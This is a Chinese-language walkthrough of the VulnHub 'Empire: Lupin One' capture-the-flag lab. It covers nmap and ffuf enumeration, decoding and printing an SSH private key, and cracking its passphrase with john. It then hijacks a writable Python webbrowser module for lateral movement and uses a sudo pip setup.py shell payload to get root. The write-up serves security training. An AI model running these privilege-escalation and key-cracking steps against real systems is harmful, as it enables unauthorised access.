基本信息
靶机下载:https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip
攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)
提示信息:
- 这个盒子被创建为中等大小,但如果你迷路了可能会很困难。
- CTF 就像盒子。 你必须尽可能多地列举。
靶机:192.168.20.0/24
目标:获取2个flag+root权限
具体流程
信息收集
老样子首先使用arp-scan -l
对主机进行探活,发现主机IP为192.168.20.146
之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.146
,结果如下所示
开放了80
端口和22
端口,我们首先试试80端口能否获取到有价值的信息
先使用dirsearch扫描网站目录,并没有什么有价值的信息,只有一个robots.txt,我们尝试去访问一下
我们查看源码,看到了下面这句话
<!-- Your can do it, keep trying. -->
说明我们的思路是对的,这个404并不是真的访问不到,而是他网页故意设计成了404的样式,同时我们要知道在linux中,~ 指代用户主目录,我们可以尝试找到与此相似的路径,使用ffuf
工具对其路径进行测试,我们运行以下语句,然后慢慢等就行了
ffuf -w "C:\Users\Administrator\Desktop\目录字典\directory-list-2.3-small.txt" -u http://192.168.20.146/~FUZZ/ -mc 200 -c -v
漏洞初探
我们可以发现存在一个隐藏路径,我们直接访问这个路径,看看这个路径下面是什么东西
这里告诉我们了两个信息:
- 还存在后门文件存放着ssh的私钥
- 用户名为icex64
所以我们还需要去爆破后门文件,我们仍然使用ffuf进行爆破,爆破语句如下所示
ffuf -w "C:\Users\Administrator\Desktop\目录字典\directory-list-2.3-medium.txt"
-u http://192.168.20.146/~secret/.FUZZ/ -e .txt .pub .html .bak -mc 200 -c -v
我们这里直接访问即可
我们将这一串拿去解密即可,这里使用的是base58加密方式,我们拿base58进行解密,解密结果如下所示
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jYmMAAAAGYmNyeXB0AAAAGAAAABDy33c2Fp
PBYANne4oz3usGAAAAEAAAAAEAAAIXAAAAB3NzaC1yc2EAAAADAQABAAACAQDBzHjzJcvk
9GXiytplgT9z/mP91NqOU9QoAwop5JNxhEfm/j5KQmdj/JB7sQ1hBotONvqaAdmsK+OYL9
H6NSb0jMbMc4soFrBinoLEkx894B/PqUTODesMEV/aK22UKegdwlJ9Arf+1Y48V86gkzS6
xzoKn/ExVkApsdimIRvGhsv4ZMmMZEkTIoTEGz7raD7QHDEXiusWl0hkh33rQZCrFsZFT7
J0wKgLrX2pmoMQC6o42OQJaNLBzTxCY6jU2BDQECoVuRPL7eJa0/nRfCaOrIzPfZ/NNYgu
/Dlf1CmbXEsCVmlD71cbPqwfWKGf3hWeEr0WdQhEuTf5OyDICwUbg0dLiKz4kcskYcDzH0
ZnaDsmjoYv2uLVLi19jrfnp/tVoLbKm39ImmV6Jubj6JmpHXewewKiv6z1nNE8mkHMpY5I
he0cLdyv316bFI8O+3y5m3gPIhUUk78C5n0VUOPSQMsx56d+B9H2bFiI2lo18mTFawa0pf
XdcBVXZkouX3nlZB1/Xoip71LH3kPI7U7fPsz5EyFIPWIaENsRmznbtY9ajQhbjHAjFClA
hzXJi4LGZ6mjaGEil+9g4U7pjtEAqYv1+3x8F+zuiZsVdMr/66Ma4e6iwPLqmtzt3UiFGb
4Ie1xaWQf7UnloKUyjLvMwBbb3gRYakBbQApoONhGoYQAAB1BkuFFctACNrlDxN180vczq
mXXs+ofdFSDieiNhKCLdSqFDsSALaXkLX8DFDpFY236qQE1poC+LJsPHJYSpZOr0cGjtWp
MkMcBnzD9uynCjhZ9ijaPY/vMY7mtHZNCY8SeoWAxYXToKy2cu/+pVyGQ76KYt3J0AT7wA
2OR3aMMk0o1LoozuyvOrB3cXMHh75zBfgQyAeeD7LyYG/b7z6zGvVxZca/g572CXxXSXlb
QOw/AR8ArhAP4SJRNkFoV2YRCe38WhQEp4R6k+34tK+kUoEaVAbwU+IchYyM8ZarSvHVpE
vFUPiANSHCZ/b+pdKQtBzTk5/VH/Jk3QPcH69EJyx8/gRE/glQY6z6nC6uoG4AkIl+gOxZ
0hWJJv0R1Sgrc91mBVcYwmuUPFRB5YFMHDWbYmZ0IvcZtUxRsSk2/uWDWZcW4tDskEVPft
rqE36ftm9eJ/nWDsZoNxZbjo4cF44PTF0WU6U0UsJW6mDclDko6XSjCK4tk8vr4qQB8OLB
QMbbCOEVOOOm9ru89e1a+FCKhEPP6LfwoBGCZMkqdOqUmastvCeUmht6a1z6nXTizommZy
x+ltg9c9xfeO8tg1xasCel1BluIhUKwGDkLCeIEsD1HYDBXb+HjmHfwzRipn/tLuNPLNjG
nx9LpVd7M72Fjk6lly8KUGL7z95HAtwmSgqIRlN+M5iKlB5CVafq0z59VB8vb9oMUGkCC5
VQRfKlzvKnPk0Ae9QyPUzADy+gCuQ2HmSkJTxM6KxoZUpDCfvn08Txt0dn7CnTrFPGIcTO
cNi2xzGu3wC7jpZvkncZN+qRB0ucd6vfJ04mcT03U5oq++uyXx8t6EKESa4LXccPGNhpfh
nEcgvi6QBMBgQ1Ph0JSnUB7jjrkjqC1q8qRNuEcWHyHgtc75JwEo5ReLdV/hZBWPD8Zefm
8UytFDSagEB40Ej9jbD5GoHMPBx8VJOLhQ+4/xuaairC7s9OcX4WDZeX3E0FjP9kq3QEYH
zcixzXCpk5KnVmxPul7vNieQ2gqBjtR9BA3PqCXPeIH0OWXYE+LRnG35W6meqqQBw8gSPw
n49YlYW3wxv1G3qxqaaoG23HT3dxKcssp+XqmSALaJIzYlpnH5Cmao4eBQ4jv7qxKRhspl
AbbL2740eXtrhk3AIWiaw1h0DRXrm2GkvbvAEewx3sXEtPnMG4YVyVAFfgI37MUDrcLO93
oVb4p/rHHqqPNMNwM1ns+adF7REjzFwr4/trZq0XFkrpCe5fBYH58YyfO/g8up3DMxcSSI
63RqSbk60Z3iYiwB8iQgortZm0UsQbzLj9i1yiKQ6OekRQaEGxuiIUA1SvZoQO9NnTo0SV
y7mHzzG17nK4lMJXqTxl08q26OzvdqevMX9b3GABVaH7fsYxoXF7eDsRSx83pjrcSd+t0+
t/YYhQ/r2z30YfqwLas7ltoJotTcmPqII28JpX/nlpkEMcuXoLDzLvCZORo7AYd8JQrtg2
Ays8pHGynylFMDTn13gPJTYJhLDO4H9+7dZy825mkfKnYhPnioKUFgqJK2yswQaRPLakHU
yviNXqtxyqKc5qYQMmlF1M+fSjExEYfXbIcBhZ7gXYwalGX7uX8vk8zO5dh9W9SbO4LxlI
8nSvezGJJWBGXZAZSiLkCVp08PeKxmKN2S1TzxqoW7VOnI3jBvKD3IpQXSsbTgz5WB07BU
mUbxCXl1NYzXHPEAP95Ik8cMB8MOyFcElTD8BXJRBX2I6zHOh+4Qa4+oVk9ZluLBxeu22r
VgG7l5THcjO7L4YubiXuE2P7u77obWUfeltC8wQ0jArWi26x/IUt/FP8Nq964pD7m/dPHQ
E8/oh4V1NTGWrDsK3AbLk/MrgROSg7Ic4BS/8IwRVuC+d2w1Pq+X+zMkblEpD49IuuIazJ
BHk3s6SyWUhJfD6u4C3N8zC3Jebl6ixeVM2vEJWZ2Vhcy+31qP80O/+Kk9NUWalsz+6Kt2
yueBXN1LLFJNRVMvVO823rzVVOY2yXw8AVZKOqDRzgvBk1AHnS7r3lfHWEh5RyNhiEIKZ+
wDSuOKenqc71GfvgmVOUypYTtoI527fiF/9rS3MQH2Z3l+qWMw5A1PU2BCkMso060OIE9P
5KfF3atxbiAVii6oKfBnRhqM2s4SpWDZd8xPafktBPMgN97TzLWM6pi0NgS+fJtJPpDRL8
vTGvFCHHVi4SgTB64+HTAH53uQC5qizj5t38in3LCWtPExGV3eiKbxuMxtDGwwSLT/DKcZ
Qb50sQsJUxKkuMyfvDQC9wyhYnH0/4m9ahgaTwzQFfyf7DbTM0+sXKrlTYdMYGNZitKeqB
1bsU2HpDgh3HuudIVbtXG74nZaLPTevSrZKSAOit+Qz6M2ZAuJJ5s7UElqrLliR2FAN+gB
ECm2RqzB3Huj8mM39RitRGtIhejpsWrDkbSzVHMhTEz4tIwHgKk01BTD34ryeel/4ORlsC
iUJ66WmRUN9EoVlkeCzQJwivI=
-----END OPENSSH PRIVATE KEY-----
这就是登录系统的私钥,我们想办法去利用一下这个私钥去登录系统,我们可以利用kali自带的ssh2john进行密码的暴力破解,同时,网页提示了我们使用fasttrack密码本,所以我们构造的破解语句如下
ssh2john pass_rsa > password.txt
john --wordlist=/usr/share/wordlists/fasttrack.txt password.txt
john --show password.txt
所以用户的账号密码分别为icex64:P@55w0rd!
登录系统
我们尝试使用账号密码登录系统
zheli就会出现其第一个坑,就是我们得出来的密码并不是系统登录的密码,而是这个私钥的密码,可以理解为隐藏在这个私钥里面的密码,这个密码和登录系统的密码并不是同一个东西,所以会导致我们用xshell连接不上,只能使用私钥进行登录,但是在我的尝试过程中,又会一直出现登不上的过程,我都几乎崩溃快要放弃了,如下图情况所示
后来在一个国外的博客上发现了问题,其实就是Windows上和linux上换行符不一致的原因,导致我们的linux系统不能正确识别这个文件,解决办法如下:
dos2unix key
vim --clean key
按esc键后输入wq退出即可
chmod 600 key
ssh icex64@192.168.20.146 -i key
我们可以发现成功登录,同时获得第一个flag:user.txt
3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
权限水平移动
我们首先执行sudo -l
查看是否可以进行sudo提权
我们发现这里有一个py脚本,但是是arsene用户的,我们先看一下这个文件执行了什么东西
import webbrowser
print ("Its not yet ready to get in action")
webbrowser.open("https://empirecybersecurity.co.mz")
我们查看一下这个文件的权限,如下所示
只有所有者arsene具有写入权限,其余的用户只有可读权限,如果无法写入反弹shell语句的话,我们很难获得arsene用户的权限,这时候我们可以发现其import webbrowser
,我们试着去找一找webbrowser
文件在哪
find / -name "*webbrowser*" 2>/dev/null
我们试着看有没有写入权限
所有的用户都具有读写执行权限,所以我们尝试在这个文件做手脚进行反弹shell
我们发现这里import os
,我们可以利用os获得运行权限,如下所示
我们直接运行heist.py
文件,如下所示
权限提升
成功获得权限,我们再执行一下sudo -l
,发现在这个用户下存在root用户的sudo权限
我们可以利用pip进行sudo提权,直接逐步输入以下shell去获取权限
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
成功获得root权限,并且找到第二个flag
3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
本题到此结束
总结
- ssh私钥的利用
- 使用john破解密码
- 利用os进行权限横向移动